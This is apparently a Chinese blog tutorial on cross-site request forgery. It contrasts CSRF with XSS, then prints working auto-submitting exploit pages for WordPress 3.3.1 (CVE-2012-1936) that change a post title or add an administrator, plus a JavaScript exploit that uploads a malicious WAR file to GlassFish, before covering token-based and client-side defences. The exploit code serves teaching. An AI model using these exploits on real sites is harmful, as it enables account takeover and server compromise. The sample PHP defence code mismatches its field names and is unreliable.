本文從屬於筆者的信息安全實戰中Web 滲透測試實戰系列文章。建議先閱讀下Martin Fowler的網絡安全基礎。javascript
CSRF(Cross-site request forgery),中文名稱:跨站請求僞造,也被稱爲:one click attack/session riding,縮寫爲:CSRF/XSRF。CSRF與XSS在攻擊手段上有點相似,都是在客戶端執行惡意代碼,有些文章中認爲CSRF與XSS的區別在於CSRF不注重於獲取用戶Cookie,筆者認爲可能還有區別在於CSRF不只能夠在源站發起攻擊,還能夠引導用戶訪問其餘危險網站的同時發起攻擊。XSS全程是跨站腳本攻擊,即攻擊者向某個Web頁面中插入惡意的JavaScript腳本,而當普通用戶訪問時,該惡意腳本自動執行而從盜取用戶的Cookie等信息。對於XSS的防護手段主要就是輸入檢查與輸出檢查,譬如對用戶輸入的文本框內容進行<、>這樣的特殊字符檢查。而輸出檢查則是指對於輸出到網頁的內容進行過濾或者編解碼,譬如使用HTML編碼將<轉義。CSRF爲跨站請求僞造,其與XSS有點相似,不過區別在於CSRF不必定依賴於JavaScript,而且不只能夠在源站發起攻擊,還有可能當用戶訪問惡意網站時引導其訪問原網站。CSRF攻擊是源於WEB的隱式身份驗證機制,WEB的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器,但卻沒法保證該請求是用戶批准發送的。對於CSRF的防護也分爲服務端防護與客戶端防護兩種,服務端防護典型的譬如給某個頁面添加隨機數,使得沒法從第三方頁面直接提交。在客戶端防護的話能夠利用譬如Firefox提供的一些檢查工具。注意,CSRF並無打破同源策略。php
如下面的這個例子來講:銀行網站A,它以GET請求來完成銀行轉帳的操做,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危險網站B,它裏面有一段HTML的代碼以下:html
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
銀行網站A違反了HTTP規範,使用GET請求更新資源。在訪問危險網站B的以前,你已經登陸了銀行網站A,而B中的<img>以GET的方 式請求第三方資源(這裏的第三方就是指銀行網站了,本來這是一個合法的請求,但這裏被不法分子利用了),因此你的瀏覽器會帶上你的銀行網站A的 Cookie發出Get請求,去獲取資源「http://www.mybank.com/Transfe... money=1000」,結果銀行網站服務器收到請求後,認爲這是一個更新資源操做(轉帳操做),因此就馬上進行轉帳操做。參考深刻解析跨站請求僞造漏洞:原理剖析(中所述,XSS與CSRF的區別在於:java
XSS攻擊須要JavaScript,而CSRF攻擊不須要。git
XSS攻擊要求站點接受惡意代碼,而對於CSRF攻擊來講,惡意代碼位於第三方站點上。過濾用戶的輸入能夠防止惡意代碼注入到某個站點,可是它無阻止法惡意代碼在第三方站點上運行。github
CSRF攻擊是源於WEB的隱式身份驗證機制,WEB的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器,但卻沒法保證該請求是用戶批准發送的。假設Alice訪問了一個惡意站點M,該站點提供的內容中的JavaScript代碼或者圖像標籤會致使Alice的瀏覽器向站點T發送一個HTTP請 求。因爲該請求是發給站點T的,因此Alice的瀏覽器自動地給該請求附上與站點T對應的該會話cookie的sid。站點T看到該請求時,它就能經過該 cookie的推斷出:該請求來自Alice,因此站點T就會對Alice的賬戶執行所請求的操做。這樣,CSRF攻擊就能得逞了。其餘大多數Web認證機制也面臨一樣的問題。例如,HTTP BasicAuth機制會要求Alice告訴瀏覽器她在站點T上的用戶名和口令,因而瀏覽器將用戶名和口令附加到以後發給站點T的請求中。固然,站點T也 可能使用客戶端SSL證書,但這也面臨一樣的問題,由於瀏覽器也會將證書附加到發給站點T的請求中。相似的,若是站點T經過IP地址來驗證Alice的身 份的話,照樣面臨CSRF攻擊的威脅。
總之,只要身份認證是隱式進行的,就會存在CSRF攻擊的危險,由於瀏覽器發出請求這一動做未必是受用戶的指使。原則上,這種威脅能夠經過對每一個發送至該 站點的請求都要求用戶進行顯式的、不可欺騙的動做(諸如從新輸入用戶名和口令)來消除,但實際上這會致使嚴重的易用性問題。大部分標準和普遍應用的認證機 制都沒法防止CSRF攻擊,因此咱們只好另外探求一個實用的解決方案。web
從零開始學CSRFajax
本部分咱們來看幾個基於CSRF攻擊的實例,包括簡單的基於表單POST請求的攻擊 ,其能夠誘導用戶點擊.submit()
按鈕既能夠發起攻擊。其餘的還有稍微複雜一點的跨域文件上傳CSRF攻擊 ,其主要使用了 CORS use of the xhr.withCredentals behavior。
該漏洞是由Ivano Binetti在2012年3月19號發現的,影響了WordPress 3.3.1版本 ,CVE編號CVE-2012-1936。WordPress是衆所周知的博客平臺,該漏洞能夠容許攻擊者修改某個Post的標題,添加管理權限用戶以及操做用戶帳戶,包括但不限於刪除評論、修改頭像等等。具體的列表以下:
Add Admin/User
Delete Admin/User
Approve comment
Unapprove comment
Delete comment
Change background image
Insert custom header image
Change site title
Change administrator's email
Change Wordpress Address
Change Site Address
那麼這個漏洞實際上就是攻擊者引導用戶先進入目標的WordPress,而後點擊其釣魚站點上的某個按鈕,該按鈕其實是表單提交按鈕,其會觸發表單的提交工做,核心的Exploit代碼爲:
<html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change post title</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php"> <input type="hidden" name="post_title" value="hackedtitle"/> <input type="hidden" name="post_name" value="hackedtitle"/> <input type="hidden" name="mm" value="03"/> <input type="hidden" name="jj" value="16"/> <input type="hidden" name="aa" value="2012"/> <input type="hidden" name="hh" value=""/> <input type="hidden" name="mn" value=""/> <input type="hidden" name="ss" value=""/> <input type="hidden" name="post_author" value="1"/> <input type="hidden" name="post_password" value=""/> <input type="hidden" name="post_category%5B%5D" value="0"/> <input type="hidden" name="post_category%5B%5D" value="1"/> <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/> <input type="hidden" name="comment_status" value="open"/> <input type="hidden" name="ping_status" value="open"/> <input type="hidden" name="_status" value="publish"/> <input type="hidden" name="post_format" value="0"/> <input type="hidden" name="_inline_edit" value="<sniffed_value>"/> <input type="hidden" name="post_view" value="list"/> <input type="hidden" name="screen" value="edit-post"/> <input type="hidden" name="action" value="inline-save"/> <input type="hidden" name="post_type" value="post"/> <input type="hidden" name="post_ID" value="1"/> <input type="hidden" name="edit_date" value="true"/> <input type="hidden" name="post_status" value="all"/> </form> </body> </html>
另外一個測試用例時添加某個具備管理員權限的用戶,測試用例爲:
<html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="admin2@admin.com"/> <input type="hidden" name="first_name" value="admin2@admin.com"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html>
該漏洞是由Security-Assessment.com發現的,Oracle GlassFish服務器的REST接口能夠被CSRF請求攻擊,譬如其能夠容許普通用戶任意上傳WAR包,而且能夠控制在服務端運行從而致使竊取其餘運行應用的信息。關於具體的攻擊覆盤能夠參考這裏。其攻擊手段是首先在釣魚站點上設置以下按鈕:
<button id="upload" onclick="start()" type="button">Upload WAR Archive</button>
而後添加以下腳本:
var logUrl = 'http://glassfishserver/management/domain/applications/application'; function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "---------------------------270883142628617", uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { asyncreplication: "true", availabilityenabled: "false", contextroot: "", createtables: "true", dbvendorname: "", deploymentplan: "", description: "", dropandcreatetables: "true", enabled: "true", force: "false", generatermistubs: "false", isredeploy: "false", keepfailedstubs: "false", keepreposdir: "false", keepstate: "true", lbenabled: "true", libraries: "", logReportedErrors: "true", name: "", precompilejsp: "false", properties: "", property: "", retrieve: "", target: "", type: "", uniquetablenames: "true", verify: "false", virtualservers: "", __remove_empty_entries__: "true" } if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 var tmp = ''; for (var i = 0; i < fileData.length; i++) tmp += String.fromCharCode(fileData.charCodeAt(i) & 0xff); fileData = tmp; } else { // Chrome 9 // http://javascript0.org/wiki/Portable_sendAsBinary XMLHttpRequest.prototype.sendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); bb.append(data); var blob = bb.getBlob(); this.send(blob); } } var fileFieldName = "id"; xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); } } else if (xhr.status == 0) { } } } var body = ""; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body += addField(i, additionalFields[i], boundary); } } body += addFileField(fileFieldName, fileData, fileName, boundary); body += "--" + boundary + "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n'; c += value + "\r\n"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; c += "Content-Type: application/octet-stream\r\n\r\n"; c += value + "\r\n"; return c; } function getBinary(file){ var xhr = new XMLHttpRequest(); xhr.open("GET", file, false); xhr.overrideMimeType("text/plain; charset=x-user-defined"); xhr.send(null); return xhr.responseText; } function readBinary(data) { var tmp = ''; for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) & 0xff); data = tmp; return tmp; } function start() { var c = getBinary('maliciousarchive.war'); fileUpload(c, "maliciousarchive.war"); }
只容許GET請求檢索數據,可是不容許它修改服務器上的任何數據。這個修改能夠防止利用{img}標籤或者其它的類型的GET請求的CSRF攻擊。另外,這個建議遵循RFC 2616(HTTP/1.1):具體說來,按照約定,GET和HEAD方法不該該進行檢索以外的動做。這些方法應該被認爲是「安全的」。雖然這個保護措施沒法阻止CSRF自己,因 爲攻擊者可使用POST請求,可是它卻能夠與(2)結合來全面防止CSRF漏洞。這裏,咱們假定對手沒法修改用戶的cookie。
當用戶訪問站點時,該站點應該生成一個(密碼上很強壯的)僞隨機值,並在用戶的計算機上將其設爲cookie。站點應該要求每一個表單都包含該僞隨機 值(做爲表單值和cookie值)。當一個POST請求被髮給站點時,只有表單值和cookie值相同時,該請求才會被認爲是有效的。當攻擊者以一個用戶的名義提交表單時,他只能修改該表單的值。攻擊者不能讀取任何發自該服務器的數據或者修改cookie值,這是同源策略的緣故。 這意味着,雖然攻擊者能夠用表單發送任何他想要的值,可是他卻不能修改或者讀取存儲在該cookie中的值。由於cookie值和表單值必須是相同的,所 以除非攻擊者能猜出該僞隨機值,不然他就沒法成功地提交表單。
以PHP爲例,咱們能夠在服務端首先生成隨機數:
<?php //構造加密的Cookie信息 $value = 「DefenseSCRF」; setcookie(」cookie」, $value, time()+3600); ?>
在表單裏增長Hash值,以認證這確實是用戶發送的請求。
<?php $hash = md5($_COOKIE['cookie']); ?> <form method=」POST」 action=」transfer.php」> <input type=」text」 name=」toBankId」> <input type=」text」 name=」money」> <input type=」hidden」 name=」hash」 value=」<?=$hash;?>」> <input type=」submit」 name=」submit」 value=」Submit」> </form>
而後在服務器端進行Hash值驗證:
<?php if(isset($_POST['check'])) { $hash = md5($_COOKIE['cookie']); if($_POST['check'] == $hash) { doJob(); } else { //... } } else { //... } ?>
固然,咱們也能夠強制要求用戶進行任何增刪改的操做時都須要輸入驗證碼,即進行用戶交互,不過這樣也就意味着不好的用戶體驗。
因爲使攻擊者成功地執行CSRF攻擊的請求是由瀏覽器發出的,因此能夠建立客戶端工具來保護用戶不受此種攻擊。現有的工具RequestRodeo 經過在客戶和服務器之間充當代理來防止CSRF攻擊。若是RequestRodeo發現了一個它認爲是非法的請求,它會從該請求剝離驗證信息。雖然這種方 式在不少狀況下都能有效,可是它具備一些侷限性。具體地說,當客戶端使用了SSL認證或者使用JavaScript生成部分頁面(由於 RequestRodeo分析的是在瀏覽器顯示以前的流經代理的那些數據)時,它就不起做用了。 人們已經開發了一個瀏覽器插件,不只可使用戶能夠免受某些類型的CSRF攻擊,而且還能克服以上所述的侷限性,這個工具是做爲Firefox瀏覽器的擴 展實現的,其地址是http://www.cs.princeton.edu/˜wzeller/csrf/protector/。 爲了有效地防範CSRF攻擊,用戶須要下載安裝這個擴展。該擴展會攔截全部的HTTP請求,並判斷是否容許該HTTP請求。這個判斷要用到下列規則。首 先,POST請求以外的任何要求都是容許的。第二,若是發出請求的站點和目標站點符合同源策略的要求,那麼該請求被容許。第三,若是發出請求的站點被容許 使用Adobe的跨域政策來創建一個請求的話,那麼該請求也會被容許。若是咱們的擴展拒絕一個請求,該擴展會經過一個常見的界面來提示用戶(即 Firefox所使用的popup blocker)該請求已經被阻止,而且讓用戶選擇是否將站點添加到一個白名單中。該擴展僅僅攔截POST請求。這意味着,它沒法保護用戶免受使用GET請求的CSRF攻擊 阻止這種類型的攻擊的惟一方法是不容許任何跨域GET請求,或只容許用戶一次只能登陸到一個站點,可是這兩個限制多是用戶沒法忍受的。